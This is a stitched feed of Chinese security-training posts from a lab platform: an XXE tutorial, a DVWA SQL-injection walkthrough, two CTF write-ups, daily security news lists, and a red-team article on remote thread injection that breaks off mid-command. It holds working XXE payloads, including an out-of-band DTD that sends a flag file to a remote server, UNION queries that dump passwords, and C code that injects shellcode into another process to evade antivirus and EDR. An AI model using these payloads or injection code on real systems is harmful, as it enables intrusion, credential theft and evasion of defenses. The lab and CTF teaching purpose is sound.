从一道题目学习XXE漏洞
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECIDcb00-c025-4fea-a3f4-93057c24bf78  (通过该实验了解XXE漏洞的基础知识及演示实践。) 0x01.xxe漏洞 XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。 0x02.xml定义 XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展链接语言(Extensible Link Language,XLL)。 0x02.xml的作用 XML使用元素和属性来描述数 据。在数据传送过程中,XML始终保留了诸如父/子关系这样的数据结构。几个应用程序 可以共享和解析同一个XML文件,不必使用传统的字符串解析或拆解过程。基本语法 所有 XML 元素都须有关闭标签。 XML 标签对大小写敏感。 XML 必须正确地嵌套。 XML 文档必须有根元素。 XML 的属性值须加引号。 实体引用(在标签属性,以及对应的位置值可能会出现<>符号,但是这些符号在对应的XML中都是有特殊含义的,这时候我们必须使用对应html的实体对应的表示,比如<傅好对应的实体就是&lt;,>符号对应的实体就是&gt;) XML中的注释,在XML中编写注释的语法与 HTML 的语法很相似。(<!-- -->) 在 XML 中,空格会被保留,多个空格不会被合并为一个。 示例如下: <?xml version="1.0" encoding="UTF-8"?> <!-- ⬆XML声明⬆ --> <!DOCTYPE 文件名 [ <!ENTITY实体名 "实体内容"> ]> <!-- ⬆文档类型定义(DTD)⬆ --> <元素名称 category="属性"> 文本或其他元素 </元素名称> <!-- ⬆文档元素⬆ --> 0x03.xml格式说明 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 <?xml version="1.0" encoding="utf-8" ?><!--xml声明--> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]><!--文档类型定义--> <note> <to>xxe</to> <from>ljpm</from> <heading>Text</heading> <body>Onl 0x04.DTD 文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。带有DTD的XML文档实例 1.外部DTD <?xml version="1.0" encoding="utf-8" ?><!--xml声明--> <!DOCTYPE root-element SYSTEM "test.dtd"> <note> <to>xxe</to> <from>ljpm</from> <heading>Text</heading> <body>Only test!</body> </note><!--文档元素--> test.dtd <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> 0x05.DTD数据类型 PCDATA的意思是被解析的字符数据/ PCDATA的意思是被解析的字符数据,PCDATA是会被解析器解析的文本 CDATA的意思是字符数据 CDATA是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。 0x06.DTD实体介绍 1.内部实体 <?xml version="1.0" encoding="utf-8" ?><!--xml声明--> <!DOCTYPE note[ <!ELEMENT note (name,pwd)> <!ENTITY name "admin"> <!ENTITY pwd "admin"> ]> <note> <name>&name;</name> <pwd>&pwd;</pwd> </note><!--文档元素--> 结果如下: 2.外部实体 <?xml version="1.0" encoding="utf-8" ?><!--xml声明--> <!DOCTYPE note[ <!ENTITY user SYSTEM "test.xml"> ]> <note>&user;</note><!--文档元素--> 3.参数实体+外部实体 test.xml <?xml version="1.0" encoding="utf-8" ?><!--xml声明--> <!DOCTYPE note [ <!ENTITY % user "admin"> <!ENTITY % pwd "admin"> <!ENTITY % ljpm SYSTEM "./dddd.dtd"> %ljpm; ]> <note>&people;</note><!--文档元素--> dddd.dtd <!ENTITY people "%user;%pwd;"> PS: %name(参数实体)是在DTD中被引用的,而&name;是在xml文档中被引用的。XXE主要是利用了DTD引用外部实体导致的漏洞。 0x07.怎么判断网站是否存在XXE漏洞 最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞。 0x08.示例如下: 1.实验环境 SpecialOrder 2.分析 首页登录试验环境将会被重定向到一个登录界面: 环境有个注册选项,我们先注册一个用户,然后登录: 首页的右上角有几个路由,代表几个功能,我们可以一一尝试。在http://192.168.153.128:5000/create-post url下有一个类似于博客的提交框,可能存在存储性的xss 尝试了一下,不存在xss 在http://192.168.153.128:5000/customize 我们可以为上面我们创建的帖子添加样式: 添加样式后的结果如下: 从上面的结果来看我们可以自定义帖子的css样式参数: * { font-size: 51px; color: red; } 至于上面的51px;为什么不是50px;我也不知道QAQ。这个环境就只有两个功能,上面那个发帖子的功能和这个修改样式的功能,发帖子功能大概没什么bug,唯有这个修改样式的比较可疑。我们可以通过burpsuite抓包分析一下。 发送的数据类型是Content-Type: application/json 。我们将其改成Content-Type: application/xml ,看看接不接受xml。 通过其返回没有报错,因此判断是支持xml的,刷新一下页面进一步验证: 现在我们尝试进行xml注入: 结果如下: 接下来就是读取flag.txt文件(环境没有添加flag.txt),最后的payload: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY file SYSTEM "file:///app/flag.txt"> ]> <root> <color>&file;</color> <size>40px</size> </root> 0x09.Special Order pt2 0x41414141 CTF的一道题目该题是上一题的进化版(没有环境),允许加载外部的dtd文件,因此payload如下:发送xml请求 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///flag.txt"> <!ENTITY % xxe SYSTEM "http://ip/payload.dtd"> %xxe; ]> <root> <color>&send;</color> <size>40px</size> </root> 在我们的服务器上 <!ENTITY % all "<!ENTITY send SYSTEM 'http://ip/?%file;'>"> %all; 0x08环境中代码有问题的部分 elif request.content_type == "application/xml" or request.content_type == "text/xml": print(request.data) parser = etree.XMLParser() k = etree.fromstring(request.data, parser) post_color = "" post_size = "" w = "" for i in k.getchildren(): if i.tag == "color": post_color = i.text elif i.tag == "size 没有过滤造成的。 0x0A.防御方法: 禁用外部实体 过滤和验证用户提交的XML数据 不允许XML中含有任何自己声明的DTD 有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可 这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
网络安全日报 2021年02月26日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Kasablanca组织针对孟加拉国多个机构进行攻击 https://www.dhakatribune.com/business/2021/02/22/hackershave-eye-on-6-bangladeshi-organisations 2、思科修复了高危的MSO身份验证绕过漏洞 https://www.bleepingcomputer.com/news/security/cisco-fixes-maximum-severity-mso-auth-bypass-vulnerability/ 3、专家警告针对QuickBooks文件数据盗窃事件明显增加 https://thehackernews.com/2021/02/experts-warns-of-notable-increase-in.html 4、Google资助Linux进行提高内核安全性开发 https://www.securityweek.com/google-funds-linux-kernel-security-development 5、黑客针对有漏洞的VMware vCenter Server进行大规模扫描 https://www.securityweek.com/hackers-scanning-vmware-vcenter-servers-affected-critical-vulnerability 6、Google披露Windows CVE-2021-24093 RCE漏洞细节 https://www.securityweek.com/google-discloses-details-remote-code-execution-vulnerability-windows 7、 Lazarus APT通过ThreatNeedle后门瞄准国防工业 https://securityaffairs.co/wordpress/115013/apt/lazarus-apt-threatneedle.html 8、印度泄露800W个Covid-19检测信息 https://threatpost.com/health-website-leaks-covid-19-test/164274/ 9、能源公司Npower APP遭凭证填充攻击 https://www.bbc.com/news/technology-56195631 10、微软更新了一些基于 Intel CET 的保护机制 https://techcommunity.microsoft.com/t5/windows-kernel-internals/developer-guidance-for-hardware-enforced-stack-protection/ba-p/2163340
sql注入实战篇
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 今天要介绍的是SQL注入实验。SQL注入攻击的学习,我们更多的目的是为了学习攻击技术和防范策略,而不是刻意去攻击数据库。 首先我们先进入实验地址https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015060916565800001。 SQL注入是一种代码注入技术,过去常常用于攻击数据驱动性的应用,实质就是将恶意的SQL代码注入到特定字段用于实施拖库攻击等。SQL注入的成功必须借助应用程序的安全漏洞,例如用户输入没有经过正确地过滤(针对某些特定字符串)或者没有特别强调类型的时候,都容易造成异常地执行SQL语句。SQL注入是网站渗透中最常用的攻击技术,但是其实SQL注入可以用来攻击所有的SQL数据库。以Sql注入产生的直接原因是拼凑SQL,绝大多数程序员在做开发的时候并不会去关注SQL最终是怎么去运行的,更不会去关注SQL执行的安全性,正是有了这种懒惰的程序员SQL注入一直没有消失。这种漏洞不是不可以避免,只是程序员没有这种 对于注入漏洞来说,可能现在很多人认为它已经过时,因为这种漏洞可以被参数化查询而杜绝。以前对这种漏洞的防御方式主要有三种: 字符串检测:限定内容只能由英文、数字等常规字符,如果检查到用户输入有特殊字符,直接拒绝。但缺点是,系统中不可避免地会有些内容包含特殊字符,这时候总不能拒绝入库。 字符串替换:把危险字符替换成其他字符,缺点是危险字符可能有很多,一一枚举替换相当麻烦,也可能有漏网之鱼。 存储过程:把参数传到存储过程进行处理,但并不是所有数据库都支持存储过程。如果存储过程中执行的命令也是通过拼接字符串出来的,还是会有漏洞。 我们还是来实践吧,这样更好理解。 我们先看一下实验的大致思路 (1)找注入并确认(经典的and 1=1 and1=2) (2)查询基本信息(数据库类型、数据库名、应用程序类型以及系统类型) (3)查表名、字段名,拿到想查询的内容 首先我们看一下源码 这就是这一段sql查询语句造成了最常见的SQL注入。我们继续实验,这次利用到了dvwa,我们登录dvwa然后选择SQL Injection 底下难度选择low。 先进行sql注入的第一步测试是否存在sql注入漏洞。 ID等于1的时候可以正常回显 And 1=1可以正常回显 And 1=2返回错误 这里直接返回了首页,和and 1=1返回的页面不一样。这里存在SQL注入。 为什么这样就判断有sql注入了呢?原理是把测试语句代入到了数据库查询,and就是逻辑运算,1=1为真,1=2为假,所以返回不同。 好我们接下来进行第二步判断字段数,order by 2返回正常order by 3返回错误。 字段数已经判断出来,下面如何进一步判断数据库名和用户名等基本信息。 利用语句查询知道有两个字段,接着查询数据库名和用户。 查询数据库等基本信息。 UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) 这是直接返回了数据库的usr database version。我们知道数据库的名字不就可以利用查询语句找到表的名字。 查询表段 union select 1,table_name from information_schema.tables where table_schema=0x64767761(数据库的十六进制) 查询列名 union select 1,column_name from information_schema.columns where table_name=0x7573657273(表的十六进制) and table_schema=0x64767761(数据库的十六进制) 查询用户名密码 union select password,user from users 这就把用户名跟密码爆出来了。 sql注入还不止这点,还有很多类型: 1)注入分为哪几种类型?分类依据是什么?是否唯一? 2)普通注入和盲注的区别是什么?利用方法有什么不同? 本次的实验就介绍到这里,注意多加总结和思考课后问题!我们学习的目的除了了解之外,更重要的是学习如何防范SQL注入。在面对SQL注入攻击的时候,了解其原理才能更好的防范。 下面总结几点防范SQL注入攻击的要点: 1.永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等。 2.永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。 3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。 4.不要把机密信息明文存放,请加密或者hash掉密码和敏感的信息。 5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。 这个技术你学会了吗?加入https://www.yijinglab.com/loginLab.do#stu,1300+网安技能任你学!
网络安全日报 2021年02月25日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、新的“ LazyScripter”黑客组织针对航空公司 https://www.securityweek.com/new-lazyscripter-hacking-group-targets-airlines 2、飞机制造商庞巴迪证实遭数据泄露 https://www.securityweek.com/hackers-leak-data-stolen-jet-maker-bombardier 3、严重的VMware vCenter漏洞可导致遭受远程攻击 https://www.securityweek.com/critical-vmware-vcenter-server-flaw-can-expose-organizations-remote-attacks 4、Firefox 86新功能可以阻止基于Cookie的跨站点跟踪 https://www.securityweek.com/new-firefox-feature-ups-ante-against-cookie-based-tracking 5、乌克兰政府文件管理系统遭黑客攻击 https://securityaffairs.co/wordpress/114991/cyber-warfare-2/ukraine-hit-cyber-attack.html 6、菲律宾信贷应用Cashalo发生用户数据泄露 https://portswigger.net/daily-swig/filipino-credit-app-cashalo-suffers-data-breach 7、僵尸网络利用BTC区块链交易备份命令和C2地址 https://securityaffairs.co/wordpress/114984/cyber-crime/bitcoin-blockchain-botnet.html 8、越南海莲花组织APT32针对人权组织进行网络间谍活动 https://securityaffairs.co/wordpress/114973/malware/apt32-spyware-human-rights-defenders.html 9、针对大学的勒索软件攻击急剧增加 https://www.zdnet.com/article/ransomware-sharp-rise-in-attacks-against-universities-as-learning-goes-online 10、研究人员发现Nginx配置错误普遍存在 https://portswigger.net/daily-swig/nginx-server-misconfigurations-found-in-the-wild-that-expose-websites-to-attacks
CTF训练之OneWayIn
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 上次的题目counting star领悟透了吗?这次再介绍一道CTF真题吧,本次题目名称是onewayin,会用到代码解密等方面的知识。 今天介绍的CTF题目很有意思的。进入实验链接 https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016090714465400001,进入实验机操作。实验地址10.1.1.82。 你看到这个界面可以想到些什么呢?我们看到web题肯定首先就是看源码啊。 查看源码发现: 我们来分析一下这个源码。这里说: 当0_usename=0_pwd的时候输出f1() Crc32(0_usename)=Crc32(0_pwd)的时候输出f2() 不然就f3,东哥这里两个字符串的32位CRC相等需要输入的字符串相同吧,这不是跟前面的f1()判断冲突了吗? 这就不知道吧,我们这里是需要利用CRC32函数的一个缺陷,抓包把参数改成数组并且用户名和密码的值不同,如下图: 这样就可以绕过crc32函数了吗?对,不信的话,我们来试验一下把这个数据放至Repeater模块里, 点击go你会发现出现了不同的东西, 再点击跟随跳转, 然后再点击一次跟随跳转, 这出来好多十六进制,当然我们不能只看返回啊,看一下url那里是不是有一个base64编码。 我们把这个base64解密一下居然是test.txt,这里是file=多少。哇,那我们是不是可以进行文件读取。 我们可以试一下,看看能不能读index.php的源码,先把index.php编码, 把编码之后的替换到刚才url参数的位置并点击go。 看上去好像没什么东西啊?就一个<?php没什么用啊。仔细观察的话,可以看见还有一个num参数。改一下这个num参数试一试,感觉应该是解题关键了。我们试一下返回了一些代码,我估计这里的num是表示显示多少行的函数。 果然提交不同的num参数会显示不同的源代码的行(num的值为1的时候显示index.php的第一行源代码)这底下是我记录的代码。 我们分析一下代码根据源码的提示想要访问flag.php,cookie必须有role_cookie这项,并且值为flagadmin。 直接在抓包文件上面构造一个cookie= flagadmin,我们按照这个来读取一下flag.php,这好像乱码了。 不要急,我们可以用curl这个工具把源码下载下来 这打开还是乱码? 嗯...不要急,把这个丢进php环境里看一下会运行出什么。 这是一串base64的编码,我们操作解密一下就知道了,base64解密之后发现flag。 这次的题目也颇有难度,CTF的每一道题感觉都要花不少功夫啊!当然,孰能生巧,熟练掌握这道题的解题技巧,下次碰到类似的题目可以节省很多时间。这道题利用函数缺陷,抓包,提交,解码等过程,都需要熟练掌握才能解题! 这个技术你学会了吗?加入https://www.yijinglab.com/mobile/actReg.html?pk_campaign=wenzhang-wemedia,1300+网安技能任你学!
网络安全日报 2021年02月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、VMware修复了vCenter Server中的严重RCE漏洞 https://securityaffairs.co/wordpress/114957/security/vmware-in-vcenter-server-rce.html 2、IBM发布安全补丁修复Kenexa LMS等产品中的漏洞 https://securityaffairs.co/wordpress/114942/security/ibm-security-flaws.html 3、超过1W名微软邮箱用户遭FedEx和DHL Express邮件钓鱼攻击 https://threatpost.com/microsoft-fedex-phishing-attack/164143/ 4、芬兰IT巨头TietoEVRY遭勒索软件攻击 https://threatpost.com/finnish-it-giant-ransomware-cyberattack/164193/ 5、研究人员发现一种可替换经过数字签名的PDF中内容的新型攻击 https://thehackernews.com/2021/02/shadow-attacks-let-attackers-replace.html 6、Lazarus Group使用AppleJeus恶意软件窃取加密货币 https://cyware.com/news/lazarus-group-using-applejeus-malware-for-cryptocurrency-theft-aac77cae 7、具有新TTP和社会工程学模块的MINEBRIDGE RAT重新活跃 https://www.zscaler.com/blogs/security-research/return-minebridge-rat-new-ttps-and-social-engineering-lures 8、Keybase修复了图像缓存明文存储的安全漏洞 https://www.zdnet.com/article/keybase-patches-bug-that-kept-pictures-in-cleartext-storage-on-mac-windows-clients 9、NASA首次采用Linux操作系统用于火星Ingenuity直升机上 https://in.pcmag.com/drones/141086/linux-is-now-on-mars-thanks-to-nasas-perseverance-rover 10、ServiceNow云平台中漏洞可导致密码泄露 https://portswigger.net/daily-swig/servicenow-admin-credentials-among-hundreds-of-passwords-exposed-in-cloud-security-blunder
CTF训练之 CountingStars
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/mobile/actReg.html>> 今天介绍一道某比赛的真题。   首先我们来进行CTF 练习,进入实验链接:https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016090714413800001   首先看到题目名称:CoutingStars ,数星星,不知道是代表什么,我们直接进入到题目发现页面:    ??数星星?难道是数这个$ 符号有多少个?动动脑筋, CTF哪里有这么简单。 我们来看页面打印了一句话,还是没什么头绪,随意的在输入框中输入,点击提交,答案错误,页面返回Sorry...  这只是测试一下,我们再来查看一下源码,看看有什么头绪。  里面有关键信息OS : MAC OS 。但是, 你知道MAC OS 有一个有名的 .DS_Store 文件泄露敏感信息吗? 请记住一下,这里应该是解题的关键。我们来访问一下.DS_Store  看来我们找到题目的关键了来看一下我们刚刚下载的文件。    这个.zip 文件是什么?我们访问一下试一试就知道了。  居然又可以下载。看来我们的思路没错我们来看一下这个文件里面是什么。  这一看就是这个题目的源码啊。但是我们要分析这个源码。好像挺麻烦的我们就直接改一下代码吧让他自己输出。   我们是不是输入这一个值就通关了呢? 理论上来说是这样。我们把d0llars 作为答案,输入看一下,   又翻车了?咳咳,应该没错刚刚好像页面闪了一下。这里有什么蹊跷吗?我们用burpsuite 抓包看一下果然 flag 在刚刚闪过的页面里面。   成功获取到了flag 。  3.通关总结 解题过程中遇到的一些困难,你还不能很快的发现并解决吧!知识在于积累,更何况CTF 讲究的是技术比拼,没有丰富的经验和缜密的思维,很难胜人一筹哦! 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
网络安全日报 2021年02月23日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、新的Silver Sparrow恶意软件已感染全球3W台Mac设备 https://www.securityweek.com/mysterious-mac-malware-infected-least-30000-devices-worldwide 2、乌克兰称遭受了来自俄罗斯网络的大规模攻击 https://securityaffairs.co/wordpress/114913/cyber-warfare-2/russian-networks-ukraine-sites.html 3、Clubhouse房间遭音频窃取攻击 https://securityaffairs.co/wordpress/114891/digital-id/clubhouse-privacy-issues.html 4、网络摄像头公司NurseryCam披露了数据泄露 https://news.yahoo.com/parents-alerted-nurserycam-security-breach-164917570.html 5、Accellion FTA零日攻击与FIN11的勒索软件有关 https://threatpost.com/accellion-zero-day-attacks-clop-ransomware-fin11/164150/ 6、2020年日本88家公司的个人信息遭到泄露 https://www.japantimes.co.jp/news/2021/02/21/national/crime-legal/computer-viruses-big-data-cybersecurity 7、Python更新以解决远程代码漏洞 https://www.zdnet.com/article/python-programming-language-hurries-out-update-to-tackle-remote-code-vulnerability 8、Chrome for iOS新功能使用Face ID锁定隐身标签页 https://www.bleepingcomputer.com/news/google/new-chrome-for-ios-feature-locks-incognito-tabs-with-face-id/ 9、SHAREit修复了严重的代码执行漏洞 https://www.bleepingcomputer.com/news/security/shareit-fixes-security-bugs-in-app-with-1-billion-downloads/ 10、加拿大莱克黑德大学遭网络攻击后关闭了学校网络 https://www.bleepingcomputer.com/news/security/lakehead-university-shuts-down-campus-network-after-cyberattack/
一文读懂远程线程注入
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 在红队行动中,红队的目的都是要在不暴露自身行动的前提下,向蓝队发动攻击。他们使用各种技术和程序来隐藏C2连接和数据流。攻击活动的第一步是获得初始访问权。他们会使用定制的恶意软件和有效载荷来躲避防杀软和EDR等防御工具。 本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=91bd2094-4ebb-4438-b969-bfd8ee7f48b9(通过实验了解DLL注入型病毒的攻击过程) 进程注入是用来逃避防御机制的重要技术之一。远程线程注入是其中的一种简单可靠的技术,它的工作原理是将shellcode注入到另一个合法的进程中,并为该进程创建一个线程来运行payload。 我们通常会使用标准的Windows API、Native API和直接syscalls来实现远程线程注入,这些实现方式都有各自的优缺点,下图展示了标准的windows API、Native API和直接syscalls在windows架构中的工作原理。 标准的windows API 优点:易于使用 缺点:可被大多数AV/EDR检测到 我们首先测试使用标准的Windows API,因为它比其他两种方式更简单。首先,我们需要找到我们的目标进程ID。我们需要创建一个名为find_process的函数,它可以得到一个进程名。它使用CreateToolhelp32Snapshot API得到当前进程列表,并使用Process32First和Process32Next逐一查看,并将进程名与我们的目标进程进行比较。使用Process32First和Process32Next API会得到一个指向PROCESSENTRY32结构的指针,这个结构可以保存进程的信息,比如它的名字和id。如果它成功地找到了进程,就会返回它的进程ID。 DWORD find_process(char *process_name){ PROCESSENTRY32 process_entry; process_entry.dwSize = sizeof(PROCESSENTRY32); //get the list of processes HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //check processes to find TARGET_PROCESS_NAME if (Process32First(snapshot, &process_entry) == TRUE){       while (Process32Next(snapshot, &process_entry) == TRUE){       if (stricmp(process_entry.szExeFile, process_name) == 0){      CloseHandle(snapshot);    return process_entry.th32ProcessID;           }       }   } CloseHandle(snapshot); return 0; } 下一步,我们需要使用OpenProcess 函数打开目标进程。我们可以传递我们的参数,包括从上一步得到的目标进程id,它将返回该进程的句柄。 HANDLE target_process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_process_id); 现在我们需要使用VirtualAllocEx函数在目标进程中为我们的shellcode分配空间,我们应该给这个空间分配PAGE_EXECUTE_READWRITE(读、写、执行)权限,这个函数返回分配区域的首地址。 LPVOID remote_process_buffer = VirtualAllocEx(target_process_handle, NULL, sizeof(buf), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); 现在我们应该使用WriteProcessMemory函数将我们的shellcode写入分配的内存区域。 WriteProcessMemory(target_process_handle, remote_process_buffer, buf, sizeof(buf), NULL); 这时候可以在目标进程中创建一个线程,并运行我们之前写到内存页中的shellcode.我们可以使用CreateRemoteThread函数.还应该传递0作为dwCreationFlags参数,表示在创建后立即运行线程。 CreateRemoteThread(target_process_handle, NULL, 0,(LPTHREAD_START_ROUTINE) remote_process_buffer,NULL,0, NULL); 为了能在kali中编译代码,我们需要使用MinGW编译器。 x86_64-w64-mingw32-gcc main.c -o rti.exe 我们将输出的文件发送到我们的windows机器上运行它。如果我们打开process hacker并查看notepad.exe进程,在内存部分有一个很可疑的具有RWX权限的内存页,如果我们打开它,就可以看到里面的shellcode。 Native API 优点:能够绕过一些AV/EDR 缺点: 很难使用 仍可能被大多数AV/EDR检测到。 无法在所有版本的Windows上运行 为了方便与操作系统进行交互,程序员一般使用微软推荐的标准API(Win 32 API)。标准Windows APIs是在Native APIs的基础上包装产生的。Native APIs 或 Undocumented APIs 都可以在 ntdll.dll 库中找到。微软不推荐使用这些API。你可以查看第二张图,可以很清楚看到这些API是如何工作的。native API也使用syscalls与os内核交互,微软使用这种架构是因为它可以在不影响标准API的情况下改变操作系统内核。 Native API也被称为无文档API,因为你通常找不到它们的官方文档。我们主要是通过查看其他人的代码或者别人总结的非官方文档,来查看它们的使用方法。 在上一节中,我们使用了标准的API来完成我们的工作,这里我们再深入一层,尝试使用原生API。首先,我们需要将ntdll.dll加载到我们的恶意软件进程中.然后我们需要定义与我们要使用的原始函数格式完全相同的函数指针,并使用这些函数的基地址来初始化这些指针. 我们可以使用LoadLibraryW函数,动态加载ntdll.dll或任何其他dll到我们的运行进程中,同时它会返回该库的一个句柄。 HMODULE hNtdll = LoadLibraryW(L"ntdll"); 然后我们定义函数指针类型,并使用GetProcAddress函数获取函数的基地址,并将其赋值给指针,以下是NtOpenProcess的使用例子。 typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientID); pNtOpenProcess NtOpenProcess = (pNtOpenProcess)GetProcAddress(hNtdll, "NtOpenProcess"); 我们用与NtOpenProcess函数相同的参数定义了我们的函数类型。对于NtWriteVirtualMemory , NtAllocateVirtualMemory , NtCreateThreadEx函数都要这样做。 NtOpenProcess 和上一节一样,我们从打开目标进程开始做,但这次使用的是NtOpenProcess函数。这个函数并不返回目标进程的Handle,我们需要传递一个句柄指针作为第一个参数。 #define InitializeObjectAttributes(p,n,a,r,s) { \ (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ (p)->RootDirectory = (r); \ (p)->Attributes = (a); \ (p)->ObjectName = (n); \ (p)->SecurityDescriptor = (s); \ (p)->SecurityQualityOfService = NULL; \ } typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR  Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG           Length; HANDLE          RootDirectory; PUNICODE_STRING ObjectName; ULONG           Attributes; PVOID           SecurityDescriptor; PVOID           SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES ; OBJECT_ATTRIBUTES oa; InitializeObjectAttributes(&oa, NULL,0,NULL,NULL); CLIENT_ID ci = { (HANDLE)procid, NULL }; 现在我们可以使用 NtOpenProcess函数 NtOpenProcess(&target_process_handle,PROCESS_ALL_ACCESS, &oa, &ci); NtAllocateVirtualMemory 我们使用NtAllocateVirtualMemory函数在目标进程中分配内存,我们定义该函数的原型。 typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect) 然后我们得到函数的基地址。 pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory") 我们把这个地址称为 "NtWriteVirtualMemory" NtAllocateVirtualMemory(target_process_handle, &remote_process_buffer, 0,&buf_len ,MEM_COMMIT, PAGE_EXECUTE_READWRITE) 我们传递了一个名为remote_process_buffer的指针,它代表的是所分配空间的基地址。 NtWriteVirtualMemory 像之前的步骤一样,先定义NtWriteVirtualMemory函数原型,我们应该将我们的shellcode,shellcode的长度,以及分配空间的基地址作为参数进行传递 typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten OPTIONAL); pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory"); NtWriteVirtualMemory(target_process_handle, remote_process_buffer, buf, buf_len, NULL); NtCreateThreadEx 现在我们可以在目标进程中创建一个线程并运行我们的shellcode了。我们使用NtCreateThreadEx在目标进程中创建一个远程线程并运行我们的shellcode。 NtCreateThreadEx(&thread_handle, 0x1FFFFF, NULL, target_process_handle, (LPTHREAD_START_ROUTINE)remote_process_buffer,NULL, FALSE, NULL, NULL, NULL, NULL) Direct Syscalls 优点:用户系统中所有的API监控工具都无法检测到。 缺点: 可能无法在所有版本的Windows上运行 很难使用 在前面的步骤中,任何API监控程序和EDRs都可以检测到我们的API调用,阻止我们的攻击。现在,如果我们直接使用syscalls,用户系统就没有任何工具可以检测到API的调用。 syscalls的一个严重缺点就是他的运行对于操作系统的版本的依赖程度很高,我们的代码可能无法在不同的windows版本上运行。然而,通过使用像SysWhisper 这样的工具,我们就可以让软件在不同版本的windows系统上运行。运行下面的命令就可以在我们的windows 10系统上生成相应的文件。 syswhispers.py --function 